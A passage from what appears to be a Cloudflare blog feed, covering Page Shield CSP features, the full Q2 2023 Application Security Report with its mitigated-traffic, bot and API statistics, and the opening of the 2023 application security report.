    <td><span>Define where font files are allowed to be loaded from.</span></td>
  </tr>
  <tr>
    <td><span>object-src</span></td>
    <td></td>
    <td><span>Define where objects (HTML) are allowed to be loaded from.</span></td>
  </tr>
  <tr>
    <td><span>media-src</span></td>
    <td></td>
    <td><span>Define where media files are allowed to be loaded from (e.g. mp4)</span></td>
  </tr>
  <tr>
    <td><span>child-src</span></td>
    <td></td>
    <td><span>Define where web workers and nested browser contexts are allowed to be loaded from.</span></td>
  </tr>
  <tr>
    <td><span>form-action</span></td>
    <td></td>
    <td><span>Define where forms should be allowed to post data to.</span></td>
  </tr>
  <tr>
    <td><span>worker-src</span></td>
    <td></td>
    <td><span>Define where workers are allowed to be loaded from.</span></td>
  </tr>
  <tr>
    <td><span>base-uri</span></td>
    <td></td>
    <td><span>Define what URLs can be used in a document base element.</span></td>
  </tr>
  <tr>
    <td><span>manifest-src</span></td>
    <td></td>
    <td><span>Define which manifests can be applied.</span></td>
  </tr>
  <tr>
    <td><span>frame-src</span></td>
    <td></td>
    <td><span>Define what URLs can be embedded in HTML iframes.</span></td>
  </tr>
  <tr>
    <td><span>frame-ancestors</span></td>
    <td></td>
    <td><span>Define which parent sources can embed the given page in an HTML iframe (opposite of frame-src).</span></td>
  </tr>
</tbody>
</table><p>Additionally, we also support the <code>upgrade-insecure-requests</code> directive. This is a special keyword that will force the browser to automatically convert all HTTP URLs to HTTPs. This feature is similar to our “<a href="https://developers.cloudflare.com/ssl/edge-certificates/additional-options/always-use-https/">Always Use HTTPS</a>”, but forces the browser to upgrade the requests rather than using our proxy to perform the similar behavior. Both features can work in conjunction.</p><p>The <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">official Mozilla CSP documentation</a> is a great resource for additional details on each CSP directive.</p>
    <div>
      <h3>Import your existing CSP policies today</h3>
      <a href="#import-your-existing-csp-policies-today">
        
      </a>
    </div>
    <p>A lot of customers adopting Page Shield have asked if they could import their existing CSP policies into the product. We’ve now taken a first step to make this experience possible by allowing you to paste an existing CSP directly in the policy interface:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2uEfkdcIgnYaO8mbGS7jgk/1bfe34b368e25229ba11b0d2d50ec614/Screenshot-2023-09-11-at-14.44.15.png" />
            
            </figure><p>Once pasted and imported, the system will automatically parse all found directives into the builder allowing you to subsequently edit them as required. If your policy contains deprecated directives, or directives not currently supported, an appropriate error message will be displayed allowing you to edit before trying again.</p>
    <div>
      <h3>Improved violation reporting</h3>
      <a href="#improved-violation-reporting">
        
      </a>
    </div>
    <p>Once you have deployed a Page Shield policy, it is important to identify its behavior: is it implemented correctly? Did you miss something?</p><p>Coincidentally, this is another aspect that is hard to manage. CSPs allows you to define an endpoint where browsers will submit violation reports (errors). However, the volume of errors can be substantial especially for large applications, requiring a whole new set of logging pipelines and infrastructure to be implemented.</p><p>Page Shield does all this for you out of the box.</p><p>With the new support for all major directives, we now also improved violation reporting to show you which directive is causing any potential issues (the first column in the screenshot below). This is provided in the policy overview screen:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5vFFJJ4niOIPyaUrxViTPF/3b285c3aa245c21d2179795c2edd69ff/Screenshot-2023-09-08-at-12.37.49.png" />
            
            </figure>
    <div>
      <h3>Domain insights</h3>
      <a href="#domain-insights">
        
      </a>
    </div>
    <p>In this release, we also took the opportunity to improve our resource details page by adding domain insights. Domain name WHOIS info is often a very good indicator of the potential maliciousness of a JavaScript resource or connection endpoint. For example, data being sent to a newly registered domain should cause some concern. We’ve also exposed any categorisations we have available for any given domain, allowing you to more quickly review the data without having to navigate to our <a href="https://developers.cloudflare.com/security-center/">Security Center</a> or <a href="https://radar.cloudflare.com/">Cloudflare Radar</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2FoxIbRdwEy9LcVEMdAYxz/c80ec3de20b4ad8d2836692c1d2df1b0/Screenshot-2023-09-11-at-14.40.23.png" />
            
            </figure>
    <div>
      <h3>Page Shield user permissions</h3>
      <a href="#page-shield-user-permissions">
        
      </a>
    </div>
    <p>One final thing. If you only need specific team members to look at or deploy policies with Cloudflare Page Shield, this is now possible. Two new user roles have been implemented in the dashboard: Page Shield (write/read) and Page Shield (read). You can find these roles available when <a href="https://developers.cloudflare.com/fundamentals/setup/manage-members/manage/">inviting new users</a> (or editing existing users) to the Cloudflare dashboard.</p>
    <div>
      <h3>Start using Page Shield today</h3>
      <a href="#start-using-page-shield-today">
        
      </a>
    </div>
    <p>Most of the features discussed in this post are only available to Page Shield enterprise add-on customers, and you can find additional details in our <a href="https://developers.cloudflare.com/page-shield/">developer documentation</a>. However, Page Shield is available to all users on the <a href="https://www.cloudflare.com/plans/pro/">Pro plan</a> and above with a limited set of functionality. Turning on Page Shield is as simple as a single click.</p><p>Head over now to the dashboard and turn it on, and let us know what you think.</p><p>Stay tuned for our next Page Shield post where we will discuss how <a href="https://www.cloudflare.com/learning/privacy/what-is-pci-dss-compliance/">PCI DSS 4.0</a> client side requirements are easy to satisfy with Page Shield.</p> ]]></content:encoded>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">77wsXUPfXPaG0bm4Wz1qiK</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Application Security Report: Q2 2023]]></title>
            <link>https://blog.cloudflare.com/application-security-report-q2-2023/</link>
            <pubDate>Mon, 21 Aug 2023 14:15:46 GMT</pubDate>
            <description><![CDATA[ We are back with a quarterly update of our Application Security report. Read on to learn about new attack trends and insights visible from Cloudflare’s global network ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3QrNN5PqgSYLMfSnYsQRrt/5b85d393b0ff4520e5ea771b684aa058/Application-Security-Trends-report.png" />
            
            </figure><p>Cloudflare has a unique vantage point on the Internet. From this position, we are able to see, explore, and identify trends that would otherwise go unnoticed. In this report we are doing just that and sharing our insights into Internet-wide application security trends.</p><p>This report is the third edition of our Application Security Report. The first one was <a href="/application-security/">published in March 2022</a>, with the second <a href="/application-security-2023/">published earlier this year in March</a>, and this is the first to be published on a  quarterly basis.</p><p>Since the last report, our network is bigger and faster: we are now processing an average of 46 million HTTP requests/second and 63 million at peak. We consistently handle approximately 25 million DNS queries per second. That's around 2.1 trillion DNS queries per day, and 65 trillion queries a month. This is the sum of authoritative and resolver requests served by our infrastructure. Summing up both HTTP and DNS requests, we get to see a lot of malicious traffic. Focusing on HTTP requests only, in Q2 2023 Cloudflare blocked an average of 112 billion cyber threats each day, and this is the data that powers this report.</p><p>But as usual, before we dive in, we need to define our terms.</p>
    <div>
      <h2>Definitions</h2>
      <a href="#definitions">
        
      </a>
    </div>
    <p>Throughout this report, we will refer to the following terms:</p><ul><li><p><b>Mitigated traffic</b>: any eyeball HTTP* request that had a “terminating” action applied to it by the Cloudflare platform. These include the following actions: <code>BLOCK</code>, <a href="https://developers.cloudflare.com/fundamentals/get-started/concepts/cloudflare-challenges/#legacy-captcha-challenge"><code>CHALLENGE</code></a>, <a href="https://developers.cloudflare.com/fundamentals/get-started/concepts/cloudflare-challenges/#js-challenge"><code>JS_CHALLENGE</code></a> and <a href="https://developers.cloudflare.com/fundamentals/get-started/concepts/cloudflare-challenges/#managed-challenge-recommended"><code>MANAGED_CHALLENGE</code></a>. This does not include requests that had the following actions applied: <code>LOG</code>, <code>SKIP</code>, <code>ALLOW</code>. In contrast to last year, we now exclude requests that had <code>CONNECTION_CLOSE</code> and <code>FORCE_CONNECTION_CLOSE</code> actions applied by our DDoS mitigation system, as these technically only slow down connection initiation. They also accounted for a relatively small percentage of requests. Additionally, we improved our calculation regarding the <code>CHALLENGE</code> type actions to ensure that only unsolved challenges are counted as mitigated. A detailed <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/actions/">description of actions</a> can be found in our developer documentation.</p></li><li><p><b>Bot traffic/automated traffic</b>: any HTTP* request identified by Cloudflare’s <a href="https://www.cloudflare.com/products/bot-management/">Bot Management</a> system as being generated by a bot. This includes requests with a <a href="https://developers.cloudflare.com/bots/concepts/bot-score/">bot score</a> between <a href="https://developers.cloudflare.com/bots/concepts/bot-score/">1 and 29</a> inclusive. This has not changed from last year’s report.</p></li><li><p><b>API traffic</b>: any HTTP* request with a response content type of <code>XML</code> or <code>JSON</code>. Where the response content type is not available, such as for mitigated requests, the equivalent <code>Accept</code> content type (specified by the user agent) is used instead. In this latter case, API traffic won’t be fully accounted for, but it still provides a good representation for the purposes of gaining insights.</p></li></ul><p>Unless otherwise stated, the time frame evaluated in this post is the 3 month period from April 2023 through June 2023 inclusive.</p><p>Finally, please note that the data is calculated based only on traffic observed across the Cloudflare network and does not necessarily represent overall HTTP traffic patterns across the Internet.</p><p>* <i>When referring to HTTP traffic we mean both HTTP and HTTPS.</i></p>
    <div>
      <h2>  Global traffic insights</h2>
      <a href="#global-traffic-insights">
        
      </a>
    </div>
    
    <div>
      <h3>Mitigated daily traffic stable at 6%, spikes reach 8%</h3>
      <a href="#mitigated-daily-traffic-stable-at-6-spikes-reach-8">
        
      </a>
    </div>
    <p>Although daily mitigated HTTP requests decreased by 2 percentage points to 6% on average from 2021 to 2022, days with larger than usual malicious activity can be clearly seen across the network. One clear example is shown in the graph below: towards the end of May 2023, a spike reaching nearly 8% can be seen. This is attributable to large DDoS events and other activity that does not follow standard daily or weekly cycles and is a constant reminder that large malicious events can still have a visible impact at a global level, even at Cloudflare scale.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6KbxMm5vOJD0fNB3FUqMFI/60fa8701cd90a9ee34d934f616955bed/image1-22.png" />
            
            </figure><p>75% of mitigated HTTP requests were outright BLOCKed. This is a 6 percentage point decrease compared to the previous report. The majority of other requests are mitigated with the various CHALLENGE type actions, with managed challenges leading with ~20% of this subset.</p>
    <div>
      <h3>Shields up: customer configured rules now biggest contributor to mitigated traffic</h3>
      <a href="#shields-up-customer-configured-rules-now-biggest-contributor-to-mitigated-traffic">
        
      </a>
    </div>
    <p>In our previous report, our automated DDoS mitigation system accounted for, on average, more than 50% of mitigated traffic. Over the past two quarters, due to both increased WAF adoption, but most likely organizations better configuring and locking down their applications from unwanted traffic, we’ve seen a new trend emerge, with WAF mitigated traffic surpassing DDoS mitigation. Most of the increase has been driven by WAF Custom Rule BLOCKs rather than our WAF Managed Rules, indicating that these mitigations are generated by customer configured rules for business logic or related purposes. This can be clearly seen in the chart below.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/tTe2Lvb0twlgtTDUvI39y/c1384e2a1c9d86991f7f0f6b42024f7c/image5-8.png" />
            
            </figure><p>Note that our WAF Managed Rules mitigations (yellow line) are negligible compared to overall WAF mitigated traffic also indicating that customers are adopting positive security models by allowing known good traffic as opposed to blocking only known bad traffic. Having said that, WAF Managed Rules mitigations reached as much as 1.5 billion/day during the quarter.</p><p>Our DDoS mitigation is, of course, volumetric and the amount of traffic matching our DDoS layer 7 rules should not be underestimated, especially given that we are observing a number of novel attacks and botnets being spun up across the web. You can read a deep dive on DDoS attack trends in our <a href="/ddos-threat-report-2023-q2/">Q2 DDoS threat report</a>.</p><p>Aggregating the source of mitigated traffic, the WAF now accounts for approximately 57% of all mitigations. Tabular format below with other sources for reference.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6bzDwbhkhvnHM6c2chSYmK/15ef779cb157e65d74a826d5cbf173e5/image6-1.png" />
            
            </figure><table><colgroup><col></col><col></col></colgroup><tbody><tr><td><p><span>Source</span></p></td><td><p><span>Percentage %</span></p></td></tr><tr><td><p><span>WAF</span></p></td><td><p><span>57%</span></p></td></tr><tr><td><p><span>DDoS Mitigation</span></p></td><td><p><span>34%</span></p></td></tr><tr><td><p><span>IP Reputation</span></p></td><td><p><span>6%</span></p></td></tr><tr><td><p><span>Access Rules</span></p></td><td><p><span>2%</span></p></td></tr><tr><td><p><span>Other</span></p></td><td><p><span>1%</span></p></td></tr></tbody></table>
    <div>
      <h3>Application owners are increasingly relying on geo location blocks</h3>
      <a href="#application-owners-are-increasingly-relying-on-geo-location-blocks">
        
      </a>
    </div>
    <p>Given the increase in mitigated traffic from customer defined WAF rules, we thought it would be interesting to dive one level deeper and better understand what customers are blocking and how they are doing it. We can do this by reviewing rule field usage across our WAF Custom Rules to identify common themes. Of course, the data needs to be interpreted correctly, as not all customers have access to all fields as that varies by contract and plan level, but we can still make some inferences based on field “categories”. By reviewing all ~7M WAF Custom Rules deployed across the network and focusing on main groupings only, we get the following field usage distribution:</p><table><colgroup><col></col><col></col></colgroup><tbody><tr><td><p><span>Field</span></p></td><td><p><span> Used in percentage % of rules</span></p></td></tr><tr><td><p><span>Geolocation fields</span></p></td><td><p><span>40%</span></p></td></tr><tr><td><p><span>HTTP URI</span></p></td><td><p><span>31%</span></p></td></tr><tr><td><p><span>IP address</span></p></td><td><p><span>21%</span></p></td></tr><tr><td><p><span>Other HTTP fields (excluding URI)</span></p></td><td><p><span>34%</span></p></td></tr><tr><td><p><span>Bot Management fields</span></p></td><td><p><span>11%</span></p></td></tr><tr><td><p><span>IP reputation score</span></p></td><td><p><span>4%</span></p></td></tr></tbody></table><p>Notably, 40% of all deployed WAF Custom Rules use geolocation-related fields to make decisions on how to treat traffic. This is a common technique used to implement business logic or to exclude geographies from which no traffic is expected and helps reduce <a href="https://www.cloudflare.com/learning/security/what-is-an-attack-surface/">attack surface areas</a>. While these are coarse controls which are unlikely to stop a sophisticated attacker, they are still efficient at reducing the attack surface.</p><p>Another notable observation is the usage of Bot Management related fields in 11% of WAF Custom Rules. This number has been steadily increasing over time as more customers adopt machine learning-based classification strategies to protect their applications.</p>
    <div>
      <h3>Old CVEs are still exploited en masse</h3>
      <a href="#old-cves-are-still-exploited-en-masse">
        
      </a>
    </div>
    <p>Contributing ~32% of WAF Managed Rules mitigated traffic overall, HTTP Anomaly is still the most common attack category blocked by the WAF Managed Rules. SQLi moved up to second position, surpassing Directory Traversal with 12.7% and 9.9% respectively.</p><p>If we look at the start of April 2023, we notice the DoS category far exceeding the HTTP Anomaly category. Rules in the DoS category are WAF layer 7 HTTP signatures that are sufficiently specific to match (and block) single requests without looking at cross request behavior and that can be attributed to either specific botnets or payloads that cause denial of service (DoS). Normally, as is the case here, these requests are not part of “distributed” attacks, hence the lack of the first “D” for “distributed” in the category name.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6lfQTGyIuNJv3KSBoOM2Kt/21126000755decaaeb6bb5acd7c7c531/image10.png" />
            
            </figure><p>Tabular format for reference (top 10 categories):</p><table><colgroup><col></col><col></col></colgroup><tbody><tr><td><p><span>Source</span></p></td><td><p><span>Percentage %</span></p></td></tr><tr><td><p><span>HTTP Anomaly</span></p></td><td><p><span>32%</span></p></td></tr><tr><td><p><span>SQLi</span></p></td><td><p><span>13%</span></p></td></tr><tr><td><p><span>Directory Traversal</span></p></td><td><p><span>10%</span></p></td></tr><tr><td><p><span>File Inclusion</span></p></td><td><p><span>9%</span></p></td></tr><tr><td><p><span>DoS</span></p></td><td><p><span>9%</span></p></td></tr><tr><td><p><span>XSS</span></p></td><td><p><span>9%</span></p></td></tr><tr><td><p><span>Software Specific</span></p></td><td><p><span>7%</span></p></td></tr><tr><td><p><span>Broken Authentication</span></p></td><td><p><span>6%</span></p></td></tr><tr><td><p><span>Common Injection</span></p></td><td><p><span>3%</span></p></td></tr><tr><td><p><span>CVE</span></p></td><td><p><span>1%</span></p></td></tr></tbody></table><p>Zooming in, and filtering on the DoS category only, we find that most of the mitigated traffic is attributable to one rule: 100031 / ce02fd… (old WAF and new WAF rule ID respectively). This rule, with a description of “<i>Microsoft IIS - DoS, Anomaly:Header:Range - CVE:CVE-2015-1635</i>” pertains to a <a href="https://nvd.nist.gov/vuln/detail/CVE-2015-1635">CVE dating back to 2015</a> that affected a number of Microsoft Windows components resulting in remote code execution*****. This is a good reminder that old CVEs, even those dating back more than 8 years, are still actively exploited to compromise machines that may be unpatched and still running vulnerable software.</p><p>* <i>Due to rule categorisation, some CVE specific rules are still assigned to a broader category such as DoS in this example. Rules are assigned to a CVE category only when the attack payload does not clearly overlap with another more generic category.</i></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2mSqUk3g9mRcgetHJ4oQOI/d5e6fc2d8ddc72fdb9fc8611ccb48a34/image2-13.png" />
            
            </figure><p>Another interesting observation is the increase in Broken Authentication rule matches starting in June. This increase is also attributable to a single rule deployed across all our customers, including our FREE users: “<i>Wordpress - Broken Access Control, File Inclusion</i>”. This rule is blocking attempts to access wp-config.php - the WordPress default configuration file which is normally found in the web server document root directory, but of course should never be accessed directly via HTTP.</p><p>On a similar note, CISA/CSA recently published a report highlighting the <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-215a?cf_target_id=DC7FD2F218498816EEC88041CD1F9A74">2022 Top Routinely Exploited Vulnerabilities</a>. We took this opportunity to explore <a href="/unmasking-the-top-exploited-vulnerabilities-of-2022/">how each CVE mentioned in CISA’s report was reflected in Cloudflare’s own data</a>. The CISA/CSA discuss 12 vulnerabilities that malicious cyber actors routinely exploited in 2022. However, based on our analysis, two CVEs mentioned in the CISA report are responsible for the vast majority of attack traffic we have seen in the wild: Log4J and Atlassian Confluence Code Injection. Our data clearly suggests a major difference in exploit volume between the top two and the rest of the list. The following chart compares the attack volume (in logarithmic scale) of the top 6 vulnerabilities of the CISA list according to our logs.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2uwZCjKV69ScnhTPgvZ82e/1c763d1c13f7fe671c56da6f6dd22228/image8.png" />
            
            </figure>
    <div>
      <h2>Bot traffic insights</h2>
      <a href="#bot-traffic-insights">
        
      </a>
    </div>
    <p>Cloudflare’s <a href="https://www.cloudflare.com/products/bot-management/">Bot Management</a> continues to see significant investment as the addition of JavaScript Verified URLs for greater protection against browser-based bots, Detection IDs are now available in Custom Rules for additional configurability, and an improved UI for easier onboarding. For self-serve customers, we’ve added the ability to “Skip” Super Bot Fight Mode rules and support for Wordpress Loopback requests, to better integrate with our customers’ applications and give them the protection they need.</p><p>Our confidence in the Bot Management classification output remains very high. If we plot the bot scores across the analyzed time frame, we find a very clear distribution, with most requests either being classified as definitely bot (score below 30) or definitely human (score greater than 80), with most requests actually scoring less than 2 or greater than 95. This equates, over the same time period, to 33% of traffic being classified as automated (generated by a bot). Over longer time periods we do see the overall bot traffic percentage stable at 29%, and this reflects the data shown on <a href="https://radar.cloudflare.com/traffic?dateStart=2023-04-01&amp;dateEnd=2023-07-01">Cloudflare Radar</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3IWinRPtNWXlGyYBWJ1d63/40fe64370434befa861d7b7a2730c329/image3-7.png" />
            
            </figure>
    <div>
      <h3>On average, more than 10% of non-verified bot traffic is mitigated</h3>
      <a href="#on-average-more-than-10-of-non-verified-bot-traffic-is-mitigated">
        
      </a>
    </div>
    <p>Compared to the last report, non-verified bot HTTP traffic mitigation is currently on a downward trend (down 6 percentage points). However, the Bot Management field usage within WAF Custom Rules is non negligible, standing at 11%. This means that there are more than 700k WAF Custom Rules deployed on Cloudflare that are relying on bot signals to perform some action. The most common field used is cf.client.bot, an alias to cf.bot_management.verified_bot which is powered by our <a href="https://radar.cloudflare.com/traffic/verified-bots">list of verified bots</a> and allows customers to make a distinction between “good” bots and potentially “malicious”  non-verified ones.</p><p>Enterprise customers have access to the more powerful cf.bot_management.score which provides direct access to the score computed on each request, the same score used to generate the bot score distribution graph in the prior section.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2H2kx5ONOEAzChOHlKHSuK/f8d7437d8627985f7ea8123ecaf084ce/image7-1.png" />
            
            </figure><p>The above data is also validated by looking at what Cloudflare service is mitigating unverified bot traffic. Although our DDoS mitigation system is automatically blocking HTTP traffic across all customers, this only accounts for 13% of non-verified bot mitigations. On the other hand, WAF, and mostly customer defined rules, account for 77% of such mitigations, much higher than mitigations across all traffic (57%) discussed at the start of the report. Note that Bot Management is specifically called out but refers to our “default” one-click rules, which are counted separately from the bot fields used in WAF Custom Rules.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2C1qfqHZVrqjJBa1upHkz2/11a16bb6e27542a6f2e3366e9903ac4a/image4-9.png" />
            
            </figure><p>Tabular format for reference:</p><table><colgroup><col></col><col></col></colgroup><tbody><tr><td><p><span>Source</span></p></td><td><p><span>Percentage %</span></p></td></tr><tr><td><p><span>WAF</span></p></td><td><p><span>77%</span></p></td></tr><tr><td><p><span>DDoS Mitigation</span></p></td><td><p><span>13%</span></p></td></tr><tr><td><p><span>IP reputation</span></p></td><td><p><span>5%</span></p></td></tr><tr><td><p><span>Access Rules</span></p></td><td><p><span>3%</span></p></td></tr><tr><td><p><span>Other</span></p></td><td><p><span>1%</span></p></td></tr></tbody></table>
    <div>
      <h2>API traffic insights</h2>
      <a href="#api-traffic-insights">
        
      </a>
    </div>
    
    <div>
      <h3>58% of dynamic (non cacheable) traffic is API related</h3>
      <a href="#58-of-dynamic-non-cacheable-traffic-is-api-related">
        
      </a>
    </div>
    <p>The growth of overall API traffic observed by Cloudflare is not slowing down. Compared to last quarter, we are now seeing 58% of total dynamic traffic be classified as API related. This is a 3 percentage point increase as compared to Q1.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3Gd7TYNHlXEzUr0YaGyXww/6e37e4fb95e4519450523ca1863edbf7/image11.png" />
            
            </figure><p>Our investment in API Gateway is also following a similar growth trend. Over the last quarter we have released several new API security features.</p><p>First, we’ve made API Discovery easier to use with a <a href="https://developers.cloudflare.com/api-shield/security/api-discovery/#inbox-view">new inbox view</a>. API Discovery inventories your APIs to prevent shadow IT and zombie APIs, and now customers can easily filter to show only new endpoints found by API Discovery. Saving endpoints from API Discovery places them into our <a href="https://developers.cloudflare.com/api-shield/management-and-monitoring/">Endpoint Management</a> system.</p><p>Next, we’ve added a brand new API security feature offered only at Cloudflare: the ability to control API access by client behavior. We call it <a href="https://developers.cloudflare.com/api-shield/security/sequence-mitigation/">Sequence Mitigation</a>. Customers can now create positive or negative security models based on the order of API paths accessed by clients. You can now ensure that your application’s users are the only ones accessing your API instead of brute-force attempts that ignore normal application functionality. For example, in a banking application you can now enforce that access to the funds transfer endpoint can only be accessed after a user has also accessed the account balance check endpoint.</p><p>We’re excited to continue releasing <a href="https://www.cloudflare.com/application-services/solutions/api-security/">API security</a> and <a href="https://www.cloudflare.com/application-services/products/api-gateway/">API management</a> features for the remainder of 2023 and beyond.</p>
    <div>
      <h3>65% of global API traffic is generated by browsers</h3>
      <a href="#65-of-global-api-traffic-is-generated-by-browsers">
        
      </a>
    </div>
    <p>The percentage of API traffic generated by browsers has remained very stable over the past quarter. With this statistic, we are referring to HTTP requests that are not serving HTML based content that will be directly rendered by the browser without some preprocessing, such as those more commonly known as AJAX calls which would normally serve JSON based responses.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6EAog7mZWAttnTLNti5zPD/79924a318e5afa6a07c035f0644a0edf/image12.png" />
            
            </figure>
    <div>
      <h3>HTTP Anomalies are the most common attack vector on API endpoints</h3>
      <a href="#http-anomalies-are-the-most-common-attack-vector-on-api-endpoints">
        
      </a>
    </div>
    <p>Just like last quarter, HTTP Anomalies remain the most common mitigated attack vector on API traffic. SQLi injection attacks, however, are non negligible, contributing approximately 11% towards the total mitigated traffic, closely followed by XSS attacks, at around 9%.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/14c68gj0NmXbfog0jJuEhV/c3fe3b73684d1142983baa0430e0f4a5/image9.png" />
            
            </figure><p>Tabular format for reference (top 5):</p><table><colgroup><col></col><col></col></colgroup><tbody><tr><td><p><span>Source</span></p></td><td><p><span>Percentage %</span></p></td></tr><tr><td><p><span>HTTP Anomaly</span></p></td><td><p><span>64%</span></p></td></tr><tr><td><p><span>SQLi</span></p></td><td><p><span>11%</span></p></td></tr><tr><td><p><span>XSS</span></p></td><td><p><span>9%</span></p></td></tr><tr><td><p><span>Software Specific</span></p></td><td><p><span>5%</span></p></td></tr><tr><td><p><span>Command Injection</span></p></td><td><p><span>4%</span></p></td></tr></tbody></table>
    <div>
      <h3>Looking forward</h3>
      <a href="#looking-forward">
        
      </a>
    </div>
    <p>As we move our application security report to a quarterly cadence, we plan to deepen some of the insights and to provide additional data from some of our newer products such as Page Shield, allowing us to look beyond HTTP traffic, and explore the state of third party dependencies online.</p><p>Stay tuned and keep an eye on <a href="https://radar.cloudflare.com/">Cloudflare Radar</a> for more frequent application security reports and insights.</p> ]]></content:encoded>
            <category><![CDATA[Radar]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Bots]]></category>
            <category><![CDATA[DDoS]]></category>
            <category><![CDATA[API]]></category>
            <guid isPermaLink="false">6PHfFuJQzKabT5BxIjgB9j</guid>
            <dc:creator>Michael Tremante</dc:creator>
            <dc:creator>David Belson</dc:creator>
            <dc:creator>Sabina Zejnilovic</dc:creator>
        </item>
        <item>
            <title><![CDATA[The state of application security in 2023]]></title>
            <link>https://blog.cloudflare.com/application-security-2023/</link>
            <pubDate>Tue, 14 Mar 2023 13:00:00 GMT</pubDate>
            <description><![CDATA[ One year ago we published our first Application Security Report. For Security Week 2023, we are providing updated insights and trends around mitigated traffic, bot and API traffic, and account takeover attacks. ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3GRJDQ6QM2YpuKYXI37zWr/08e76c72a478028a390db8d262ca1d36/image13-1.png" />
            
            </figure><p>One year ago we published our <a href="/application-security/">first Application Security Report</a>. For Security Week 2023, we are providing updated insights and trends around mitigated traffic, bot and API traffic, and <a href="https://www.cloudflare.com/zero-trust/solutions/account-takeover-prevention/">account takeover attacks</a>.</p><p>Cloudflare has grown significantly over the last year. In <a href="https://news.netcraft.com/archives/2023/02/28/february-2023-web-server-survey.html">February 2023</a>, Netcraft noted that Cloudflare had become the most commonly used web server vendor within the top million sites at the start of 2023, and continues to grow, reaching a 21.71% market share, up from 19.4% in February 2022.</p><p>This continued growth now equates to Cloudflare handling over 45 million HTTP requests/second on average (up from 32 million last year), with more than 61 million HTTP requests/second at peak. DNS queries handled by the network are also growing and stand at approximately 24.6 million queries/second. All of this traffic flow gives us an unprecedented view into Internet trends.</p><p>Before we dive in, we need to define our terms.</p>
    <div>
      <h2>Definitions</h2>
      <a href="#definitions">
        
      </a>
    </div>
    <p>Throughout this report, we will refer to the following terms:</p><ul><li><p><b>Mitigated traffic</b>: any eyeball HTTP* request that had a “terminating” action applied to it by the Cloudflare platform. These include the following actions: <code>BLOCK</code>, <a href="https://developers.cloudflare.com/fundamentals/get-started/concepts/cloudflare-challenges/#legacy-captcha-challenge"><code>CHALLENGE</code></a>, <a href="https://developers.cloudflare.com/fundamentals/get-started/concepts/cloudflare-challenges/#js-challenge"><code>JS_CHALLENGE</code></a> and <a href="https://developers.cloudflare.com/fundamentals/get-started/concepts/cloudflare-challenges/#managed-challenge-recommended"><code>MANAGED_CHALLENGE</code></a>. This does not include requests that had the following actions applied: <code>LOG</code>, <code>SKIP</code>, <code>ALLOW</code>. In contrast to last year, we now exclude requests that had <code>CONNECTION_CLOSE</code> and <code>FORCE_CONNECTION_CLOSE</code> actions applied by our DDoS mitigation system, as these technically only slow down connection initiation. They also accounted for a relatively small percentage of requests. Additionally, we improved our calculation regarding the <code>CHALLENGE</code> type actions to ensure that only unsolved challenges are counted as mitigated. A detailed <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/actions/">description of actions</a> can be found in our developer documentation.</p></li><li><p><b>Bot traffic/automated traffic</b>: any HTTP* request identified by Cloudflare’s <a href="https://www.cloudflare.com/products/bot-management/">Bot Management</a> system as being generated by a bot. This includes requests with a <a href="https://developers.cloudflare.com/bots/concepts/bot-score/">bot score</a> between <a href="https://developers.cloudflare.com/bots/concepts/bot-score/">1 and 29</a> inclusive. This has not changed from last year’s report.</p></li><li><p><b>API traffic</b>: any HTTP* request with a response content type of <code>XML</code> or <code>JSON</code>. Where the response content type is not available, such as for mitigated requests, the equivalent <code>Accept</code> content type (specified by the user agent) is used instead. In this latter case, API traffic won’t be fully accounted for, but it still provides a good representation for the purposes of gaining insights.</p></li></ul><p>Unless otherwise stated, the time frame evaluated in this post is the 12 month period from March 2022 through February 2023 inclusive.</p><p>Finally, please note that the data is calculated based only on traffic observed across the Cloudflare network and does not necessarily represent overall HTTP traffic patterns across the Internet.</p><p>*When referring to HTTP traffic we mean both HTTP and HTTPS.</p>
    <div>
      <h2>Global traffic insights</h2>
      <a href="#global-traffic-insights">
        
      </a>
    </div>
    
    <div>
      <h3>6% of daily HTTP requests are mitigated on average</h3>
      <a href="#6-of-daily-http-requests-are-mitigated-on-average">
        
      </a>
    </div>
    <p>In looking at all HTTP requests proxied by the Cloudflare network, we find that the share of requests that are mitigated has dropped to 6%, down two percentage points compared to last year. Looking at 2023 to date, we see that mitigated request share has fallen even further, to between 4-5%. Large spikes visible in the chart below, such as those seen in June and October, often correlate with large DDoS attacks mitigated by Cloudflare. It is interesting to note that although the percentage of mitigated traffic has decreased over time, the total mitigated request volume has been relatively stable as shown in the second chart below, indicating an increase in overall clean traffic globally rather than an absolute decrease in malicious traffic.</p>
            <figure>
